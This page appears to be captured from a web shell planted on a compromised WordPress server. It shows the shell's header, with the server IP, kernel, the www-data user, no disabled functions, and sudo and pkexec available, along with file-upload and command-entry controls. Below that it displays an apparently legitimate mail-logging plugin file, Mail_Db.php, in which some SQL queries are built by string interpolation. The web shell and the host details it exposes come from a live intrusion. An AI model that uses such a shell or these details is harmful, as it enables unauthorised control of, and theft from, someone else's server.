Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.50
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/wpo365-mail/Mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/wpo365-mail/Mail/Mail_Db.php
<?php

namespace Wpo\Mail;

use WP_Error;
use Wpo\Core\WordPress_Helpers;
use Wpo\Core\Wpmu_Helpers;
use \Wpo\Services\Log_Service;
use \Wpo\Services\Options_Service;
use Wpo\Services\Request_Service;

// Prevent public access to this script
defined('ABSPATH') or die();

if (!class_exists('\Wpo\Mail\Mail_Db')) {

    class Mail_Db
    {

        /**
         * Logs a wp_mail email message to the wpo365_mail table if that feature is enabled. 
         * Creates the table if it does not exist.
         * 
         * @since       17.0
         * 
         * @param       array       $wp_mail       WP Mail message as an array.
         * 
         * @return      mixed       Id of the row inserted or false if the row was not inserted.
         */
        public static function add_mail_log($wp_mail)
        {
            if (!Options_Service::get_global_boolean_var('mail_log')) {
                return $wp_mail;
            }

            $request_service = Request_Service::get_instance();
            $request = $request_service->get_request($GLOBALS['WPO_CONFIG']['request_id']);

            if (!empty($request->get_item('mail_log_id'))) {
                Log_Service::write_log('DEBUG', sprintf('%s -> Not creating a new log entry for an item that is being send again', __METHOD__));
                return $wp_mail;
            }

            $to = $wp_mail['to'];
            $subject = $wp_mail['subject'];
            $body = $wp_mail['message'];
            $headers = $wp_mail['headers'];
            $attachments = $wp_mail['attachments'];

            global $wpdb;

            if (!self::mail_table_exists()) {
                self::create_mail_table();
            }

            $table_name = self::get_mail_table_name();
            $data = array(
                'mail_to'           => \is_string($to) ? json_encode(array($to)) : json_encode($to),
                'mail_subject'      => esc_sql($subject),
                'mail_body'         => $body,
                'mail_headers'      => \is_string($headers) ? json_encode(array($headers)) : json_encode($headers),
                'mail_attachments'  => json_encode($attachments),
                'mail_success'      => false,
                'mail_error'        => null,
            );

            $rows_inserted = $wpdb->insert(
                $table_name,
                $data
            );

            if ($rows_inserted !== 1) {
                Log_Service::write_log('ERROR', __METHOD__ . ' -> Could not write mail log entry to the database (Check next line for the raw data that has not been inserted)');
                Log_Service::write_log('DEBUG', $data);
            } else {
                // Memoize the ID of the row inserted so we can update it to report success or errors
                $request->set_item('mail_log_id', $wpdb->insert_id);
            }

            // After every 100th logged item check if any older entries needs deleting
            if ($wpdb->insert_id % 100 === 0) {
                self::mail_log_retention();
            }

            return $wp_mail;
        }

        /**
         * Get the last inserted mail log entry for the specified recipient and updates it according. Returns false
         * 
         * @since   17.0
         * 
         * @param   bool    $success        The recipient string.
         * @param   string  $error_message  The recipient string.
         * 
         * @return  void
         */
        public static function update_mail_log($success = false, $error_message = null, $count_attempt = false)
        {
            if (!Options_Service::get_global_boolean_var('mail_log') || !self::mail_table_exists()) {
                return false;
            }

            // Get the memoized ID of the current mail log entry
            $request_service = Request_Service::get_instance();
            $request = $request_service->get_request($GLOBALS['WPO_CONFIG']['request_id']);
            $mail_log_id = $request->get_item('mail_log_id');

            if (empty($mail_log_id)) {
                Log_Service::write_log('WARN', sprintf('%s -> Failed to obtain the memoized mail log ID', __METHOD__));
                return;
            }

            global $wpdb;

            $table_name = self::get_mail_table_name();
            $results = $wpdb->get_results("SELECT * from $table_name WHERE id = $mail_log_id");

            if (empty($results) || sizeof($results) !== 1) {
                Log_Service::write_log('WARN', sprintf('%s -> Failed to retrieve an existing mail log entry for entry with ID %d', __METHOD__, $mail_log_id));
                return;
            }

            if (empty($error_message)) {
                $mail_error = $results[0]->mail_error;
            } elseif (empty($results[0]->mail_error)) {
                $mail_error = $error_message;
            } else {
                $mail_error = sprintf('%s | %s', $results[0]->mail_error, $error_message);
            }

            $updates = array(
                'mail_success' => $success,
                'mail_error' => $mail_error
            );

            if ($success) {
                $updates['mail_sent'] = self::time_zone_corrected_formatted_date_string();
            }

            // mail_attemps does not exist if table has not been updated
            if (property_exists($results[0], 'mail_attempts')) {

                if ($count_attempt) {
                    $attempts = empty($results[0]->mail_attempts) ? 1 : $results[0]->mail_attempts + 1;
                    $updates['mail_attempts'] = $attempts;
                    $time_in_minutes = floor(time() / 60) * 60;
                    $updates['mail_last_attempt'] = self::time_zone_corrected_formatted_date_string($time_in_minutes);
                }
            }

            $update_result = $wpdb->update($table_name, $updates, array('id' => intval($results[0]->id)));
        }

        /**
         * Get a virtual page of a configurable number of rows from the mail log table.
         * 
         * @since   17.0
         * 
         * @param   int     $page       The zero-based page to start retrieving the next page.
         * @param   int     $page_size  The number of rows to retrieve.
         * @param   string  $filter     all or error
         * 
         * @return   array   Max. 100 rows from the mail log starting from the first row for the page.
         */
        public static function get_mail_log($start_row = 0, $page_size = 100, $filter = 'all')
        {
            if (!Options_Service::get_global_boolean_var('mail_log')) {
                return array();
            }

            global $wpdb;

            $table_name = self::get_mail_table_name();

            if (!self::mail_table_exists()) {
                self::create_mail_table();
            }

            if ($start_row == 0) {
                $next_id = $wpdb->get_var("SELECT MAX(id) FROM $table_name");

                if (empty($next_id)) {
                    Log_Service::write_log('DEBUG', __METHOD__ . " -> Cannot retrieve rows from the mail log table because the next ID is not initialized [$next_id]");
                    return array();
                }

                $start_row = \intval($next_id) + 1;
            }

            $filter_clause = $filter == 'error' ? " AND mail_success = false " : "";

            $rows = $wpdb->get_results($wpdb->prepare(
                "SELECT * FROM `$table_name` WHERE `id` < %d " . $filter_clause . " ORDER BY `id` DESC LIMIT %d",
                $start_row,
                $page_size
            ));

            foreach ($rows as $row) {

                if (isset($row->mail_headers)) {
                    $mail_headers_raw = json_decode($row->mail_headers, true);
                    $temp_headers = self::get_mail_headers($mail_headers_raw);
                    $row->mail_headers = json_encode($temp_headers);
                }
            }

            return $rows;
        }

        /**
         * Try to send the mail with the specified id again.
         * 
         * @since   17.0
         * 
         * @param   int     $id     The (wpo365_mail table's) id.
         * 
         * @return  bool    True if the mail was sent successfully.
         */
        public static function send_mail_again($id)
        {
            Log_Service::write_log('DEBUG', '##### -> ' . __METHOD__);

            if (!\is_int($id)) {
                Log_Service::write_log('WARN', __METHOD__ . " -> Trying to send mail again but the id $id provided is not valid");
                return false;
            }

            global $wpdb;

            $table_name = self::get_mail_table_name();

            $rows = $wpdb->get_results($wpdb->prepare(
                "SELECT * FROM $table_name WHERE id = %d",
                $id
            ));

            if (!\is_array($rows) || count($rows) != 1) {
                Log_Service::write_log('WARN', __METHOD__ . " -> Trying to send mail again but could not find a matching database record for id $id");
                return false;
            }

            /** @since  21.6    Headers are compacted as a string with new line breaks */

            $mail_headers_raw = json_decode($rows[0]->mail_headers, true);
            $mail_headers = self::get_mail_headers($mail_headers_raw);

            Log_Service::write_log('DEBUG', sprintf(
                '%s -> Trying to send mail with ID %d again',
                __METHOD__,
                $id
            ));

            $request_service = Request_Service::get_instance();
            $request = $request_service->get_request($GLOBALS['WPO_CONFIG']['request_id']);
            $request->set_item('mail_log_id', $id);

            return wp_mail(
                json_decode($rows[0]->mail_to, true),
                $rows[0]->mail_subject,
                $rows[0]->mail_body,
                $mail_headers,
                json_decode($rows[0]->mail_attachments, true)
            );
        }

        /**
         * Helper method to the wpo365_mail table.
         * 
         * @since   17.0
         * 
         * @return  bool    True if truncated, false if the table was not found.
         */
        public static function truncate_mail_log()
        {
            global $wpdb;

            if (self::mail_table_exists()) {
                $table_name = self::get_mail_table_name();
                $wpdb->query("TRUNCATE TABLE $table_name");
                Log_Service::write_log('DEBUG', __METHOD__ . " -> Truncated the wpo365_mail table successfully");
                return true;
            }

            Log_Service::write_log('WARN', __METHOD__ . " -> Trying to truncate the mail log but the wpo365_mail table does not exist");

            return false;
        }

        /**
         * See https://learn.microsoft.com/en-us/office365/servicedescriptions/exchange-online-service-description/exchange-online-limits#sending-limits-1
         * 
         * @since 24.0
         * 
         * @return bool|WP_Error True if the limit has not yet been reached otherwise a WP_Error with detailed information.
         */
        public static function check_message_rate_limit($db_updated = false)
        {
            global $wpdb;

            $table_name = self::get_mail_table_name();

            if (!self::mail_table_exists()) {
                self::create_mail_table();
            }

            $time_in_minutes = floor(time() / 60) * 60;
            $items_sent = $wpdb->get_var(sprintf("SELECT COUNT(*) AS SENT FROM %s WHERE mail_last_attempt = '%s';", $table_name, date('Y-m-d H:i:s', $time_in_minutes)));

            if (!empty($wpdb->last_error)) {

                if (!$db_updated && false !== WordPress_Helpers::stripos($wpdb->last_error, 'mail_last_attempt')) {
                    self::alter_mail_table_v2();
                    return self::check_message_rate_limit(true);
                }

                Log_Service::write_log('ERROR', sprintf('%s -> An error occurred whilst checking the message rate limit [error: %s]', __METHOD__, $wpdb->last_error));
                return true; // Still Microsoft will throttle messages
            }

            $threshold = Options_Service::get_global_numeric_var('mail_threshold');

            if (empty($threshold)) {
                $threshold = 20;
            }

            if (intval($items_sent) < $threshold) {
                return true;
            }

            return new WP_Error('MessageRateLimitException', sprintf('Cannot send more than %d messages per minute (check https://learn.microsoft.com/en-us/office365/servicedescriptions/exchange-online-service-description/exchange-online-limits#receiving-and-sending-limits for details)', $threshold));
        }

        /**
         * Get any messages that have not been sent successfully up until one minute ago (oldest message first).
         * 
         * @since 24.0
         * 
         * @param int $attempts 
         * @param int $limit 
         * @return void 
         */
        public static function process_unsent_messages($db_updated = false)
        {
            global $wpdb;

            $table_name = self::get_mail_table_name();

            if (!self::mail_table_exists()) {
                self::create_mail_table();
            }

            $time_in_minutes = floor(time() / 60) * 60;
            $intervals = Options_Service::get_global_list_var('mail_intervals');

            if (!empty($intervals)) {

                for ($i = 0; $i < sizeof($intervals); $i++) {
                    $intervals[$i] = absint($intervals[$i]);
                }
            }

            if (empty($intervals) || sizeof($intervals) != 3) {
                $intervals = array(3600, 7200, 14400);
            }

            $unsent_items = $wpdb->get_results(sprintf(
                "SELECT * FROM %s WHERE mail_sent IS NULL AND mail_success = 0 AND (
                (mail_attempts = 1 AND mail_last_attempt < '%s') OR
                (mail_attempts = 2 AND mail_last_attempt < '%s') OR
                (mail_attempts = 3 AND mail_last_attempt < '%s')) ORDER BY id ASC LIMIT 30",
                $table_name,
                self::time_zone_corrected_formatted_date_string($time_in_minutes - $intervals[0]),
                self::time_zone_corrected_formatted_date_string($time_in_minutes - $intervals[1]),
                self::time_zone_corrected_formatted_date_string($time_in_minutes - $intervals[2])
            ));
            $db_last_error = $wpdb->last_error;

            if (!empty($db_last_error)) {

                if (!$db_updated && false !== WordPress_Helpers::stripos($db_last_error, 'mail_attempts')) {
                    self::alter_mail_table_v2();
                    return self::process_unsent_messages(true);
                }

                Log_Service::write_log('ERROR', sprintf('%s -> An error occurred whilst attempting to retrieve unsent messages [error: %s]', __METHOD__, $db_last_error));
                return;
            }

            foreach ($unsent_items as $unsent_item) {
                self::send_mail_again(absint($unsent_item->id));
            }
        }

        /**
         * Removes the wpo_process_unsent_messages WP-Cron event and adds it if $remove equals false.
         * 
         * @since 24.0
         * 
         * @param mixed $remove 
         * @return void 
         */
        public static function ensure_unsent_messages($remove)
        {
            if ($remove) {
                wp_clear_scheduled_hook('wpo_process_unsent_messages');
            } elseif (false === wp_next_scheduled('wpo_process_unsent_messages')) {
                $activation_result = wp_schedule_event(time(), 'wpo_every_minute', 'wpo_process_unsent_messages', array(), true);

                if (is_wp_error($activation_result)) {
                    Log_Service::write_log('WARN', sprintf(
                        '%s -> Could not create WP Cron Job to automatically resend failed emails. Please ensure that you are using WPO365 | LOGIN v24.0 or later or WPO365 | MICROSOFT GRAPH MAILER v2.20 or later. [Error: %s]',
                        __METHOD__,
                        $activation_result->get_error_message()
                    ));
                    return false;
                }
            }

            return true;
        }

        /**
         * Delete any records in the database older than the configured retention period (default 45 days).
         * 
         * @since 28.x
         * 
         * @return void
         */
        public static function mail_log_retention($db_updated = false)
        {
            global $wpdb;

            if (0 === ($mail_log_retention = Options_Service::get_global_numeric_var('mail_log_retention'))) {
                $mail_log_retention = 90;
            }

            $table_name = self::get_mail_table_name();

            if (!self::mail_table_exists()) {
                self::create_mail_table();
            }

            $sql = "DELETE FROM $table_name WHERE `mail_last_attempt` < CURDATE() - INTERVAL $mail_log_retention DAY ORDER BY `mail_last_attempt` DESC";
            $result = $wpdb->query($sql);
            $db_last_error = $wpdb->last_error;

            if (!empty($db_last_error) && false !== WordPress_Helpers::stripos($db_last_error, 'unknown column') && !$db_updated) {
                self::alter_mail_table_v2();
                return self::mail_log_retention(true);
            }

            if (!empty($db_last_error)) {
                Log_Service::write_log('ERROR', sprintf('%s -> Failed to delete items older than %d from %s [error: %s]', __METHOD__, $mail_log_retention, $table_name, $db_last_error));
            } else {
                Log_Service::write_log('DEBUG', sprintf('%s -> Successfully deleted %d items older than %d days from %s', __METHOD__, $result, $mail_log_retention, $table_name));
            }
        }

        /**
         * Helper method to create / update the custom Mail DB table used for logging.
         * 
         * @since   17.0
         * 
         * @return  void
         */
        private static function create_mail_table()
        {
            global $wpdb;

            $table_name = self::get_mail_table_name();

            $charset_collate = $wpdb->get_charset_collate();

            $sql = "CREATE TABLE IF NOT EXISTS $table_name (
                    id BIGINT AUTO_INCREMENT PRIMARY KEY, 
                    mail_sent DATETIME DEFAULT NULL,
                    mail_to TEXT NOT NULL,
                    mail_subject TEXT,
                    mail_body LONGTEXT,
                    mail_headers TEXT,
                    mail_attachments TEXT,
                    mail_success BOOLEAN,
                    mail_error TEXT,
                    mail_attempts TINYINT DEFAULT 0,
                    mail_last_attempt DATETIME DEFAULT NULL
                    ) $charset_collate;";

            require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
            dbDelta($sql);
        }

        /**
         * Updates the WPO365 Mail table to version 2.
         * 
         * @since 24.0
         * 
         * @return bool True if the update to the table structure was successful.
         */
        private static function alter_mail_table_v2()
        {
            global $wpdb;

            $table_name = self::get_mail_table_name();

            if (!self::mail_table_exists()) {
                self::create_mail_table();
                return true;
            }

            $sql = "ALTER TABLE $table_name
                    ADD COLUMN mail_attempts TINYINT DEFAULT 0,
                    ADD COLUMN mail_last_attempt DATETIME NULL DEFAULT NULL,
                    MODIFY COLUMN mail_sent DATETIME NULL DEFAULT NULL;";

            $wpdb->query($sql);
            $db_last_error = $wpdb->last_error;

            if (!empty($db_last_error)) {
                Log_Service::write_log('ERROR', sprintf('%s -> Updating the WPO365 Mail table in the database to version 2.0 failed [error: %s]', __METHOD__, $db_last_error));
                return false;
            }

            return true;
        }

        /**
         * Helper to deal with both string and array headers that will return an associative array of headers.
         * 
         * @since   21.8
         * 
         * @param   mixed   $wp_mail_headers 
         * @return  array   An associative array of headers
         */
        private static function get_mail_headers($wp_mail_headers)
        {
            if (!empty($wp_mail_headers)) {

                // Fix what I have broken :)
                if (is_array($wp_mail_headers) && sizeof($wp_mail_headers) === 1) {
                    $wp_mail_headers = $wp_mail_headers[0];
                }

                if (!is_array($wp_mail_headers)) {
                    // Explode the headers out, so this function can take
                    // both string headers and an array of headers.
                    $temp_headers = explode("\n", str_replace("\r\n", "\n", $wp_mail_headers));
                    return array_filter($temp_headers, function ($value) {
                        return !empty($value);
                    });
                }
            }

            return $wp_mail_headers;
        }

        /**
         * Helper method to centrally provide the custom WordPress table name.
         * 
         * @since 3.0
         * 
         * @return string
         */
        private static function get_mail_table_name()
        {
            global $wpdb;

            if (Options_Service::mu_use_subsite_options() && !Wpmu_Helpers::mu_is_network_admin()) {
                return $wpdb->prefix . "wpo365_mail";
            }

            return $wpdb->base_prefix . "wpo365_mail";
        }

        /**
         * Helper method to check whether the custom WordPress table exists.
         * 
         * @since   3.0
         * 
         * @return boolean
         */
        private static function mail_table_exists()
        {
            global $wpdb;

            $table_name = self::get_mail_table_name();

            if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name) {
                return true;
            }

            return false;
        }

        /**
         * Helper to format a date using a helper in the WordPress Helpers class with fallback.
         * 
         * @since 28.1
         * 
         * @param mixed $time 
         * @return string 
         */
        private static function time_zone_corrected_formatted_date_string($time = null)
        {
            if (\method_exists('\Wpo\Core\WordPress_Helpers', 'time_zone_corrected_formatted_date')) {
                return WordPress_Helpers::time_zone_corrected_formatted_date($time);
            }

            if (empty($time)) {
                $time = time();
            }

            return date('Y-m-d H:i:s', $time);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit